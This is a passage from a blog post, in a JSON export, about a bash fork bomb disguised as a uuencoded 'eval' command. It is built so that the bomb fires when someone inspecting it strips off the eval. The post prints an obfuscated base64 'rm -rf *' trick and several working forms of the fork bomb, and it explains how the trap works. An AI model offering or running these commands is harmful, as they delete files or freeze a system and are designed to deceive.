{"id":766,"date":"2019-06-10T19:11:14","date_gmt":"2019-06-10T19:11:14","guid":{"rendered":"http:\/\/www.vidarholen.net\/contents\/blog\/?p=766"},"modified":"2019-06-10T19:11:14","modified_gmt":"2019-06-10T19:11:14","slug":"tricking-the-tricksters-with-a-next-level-fork-bomb","status":"publish","type":"post","link":"https:\/\/www.vidarholen.net\/contents\/blog\/?p=766","title":{"rendered":"Tricking the tricksters with a next level fork bomb"},"content":{"rendered":"

Do not copy-paste anything from this article into your shell. You have been warned.<\/strong><\/p>\n

Some people make a cruel sport out of tricking newbies into running destructive shell commands.<\/p>\n

Often, this takes the form of crudely obscured commands like this one, which will result in a rm -rf *<\/code> being executed in the current directory, deleting everything:<\/p>\n

$(echo cm0gLXJmICoK | base64 -d)<\/code><\/pre>\n
Years ago, I came across someone doing this, and decided to trick them back.<\/p>\n
Now, I\u2019m not enough of a jerk to trick anyone into deleting their files, but I\u2019m more than willing to let wanna-be hackers fork bomb themselves.<\/p>\n
I designed a fork bomb in such a way that even when people know<\/em> it\u2019s a destructive command, they still run it<\/em>! At the risk of you doing the same, here it is:<\/p>\n
eval $(echo \"I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==\" | uudecode)<\/code><\/pre>\n
It looks like yet another crudely obscured command, but it\u2019s not. It does not prey on unsuspecting newbies\u2019 tendencies to run commands they don\u2019t understand.<\/p>\n
Instead, it targets people who are familiar with that kind of trick, who know it\u2019s going to be destructive, and exploits their<\/em> schadenfreude and curiosity.<\/p>\n
For the previous command, such a person would remove the surrounding $(..)<\/code> to find out what a victim would have been fooled into executing:<\/p>\n
$ echo cm0gLXJmICoK | base64 -d\nrm -rf *<\/code><\/pre>\n
But when they similarly modify this command to see what horror will befall the newbie stupid enough to run it:<\/p>\n
echo \"I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==\" | uudecode<\/code><\/pre>\n
They\u2019ll suddenly find their system slowing to a crawl until a forced reboot! As it turns out, they<\/em> were the newbie all along.<\/p>\n
You see, the eval<\/code> (\u2026dramatic pause\u2026) was a decoy!<\/p>\n
In fact, the uudecode<\/code>, echo<\/code> and $(..)<\/code> were all just part of the act. They\u2019re purely for misdirection, and don\u2019t serve any functional purpose.<\/p>\n
No decoding, execution or evaluation is required for the bomb to explode. Instead it\u2019s set off by the simple expansion, in any context, of this argument:<\/p>\n
\"I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==\"<\/code><\/pre>\n
Even most of this string is just for show, designed to make it look more like uuencoded data. Here it is with all the arbitrary characters replaced with underscores:<\/p>\n
\"____________`_____&r()(____&r{,______}&r{,_____});r`_________\"<\/code><\/pre>\n
And here it\u2019s written more cleanly:<\/p>\n
\" `r() ( r & r ); r` \"<\/code><\/pre>\n
Now it\u2019s your bog standard fork bomb in a command expansion.<\/p>\n
\n
I went through a few iterations designing this trap. The first one was this:<\/p>\n
eval $(echo 'a2Vrf3xvcml'\\ZW%3t`r()(r|r);r`2'6a2VrZQo=' | base64 -d)<\/code><\/pre>\n
It has the same basic form, but several problems:<\/p>\n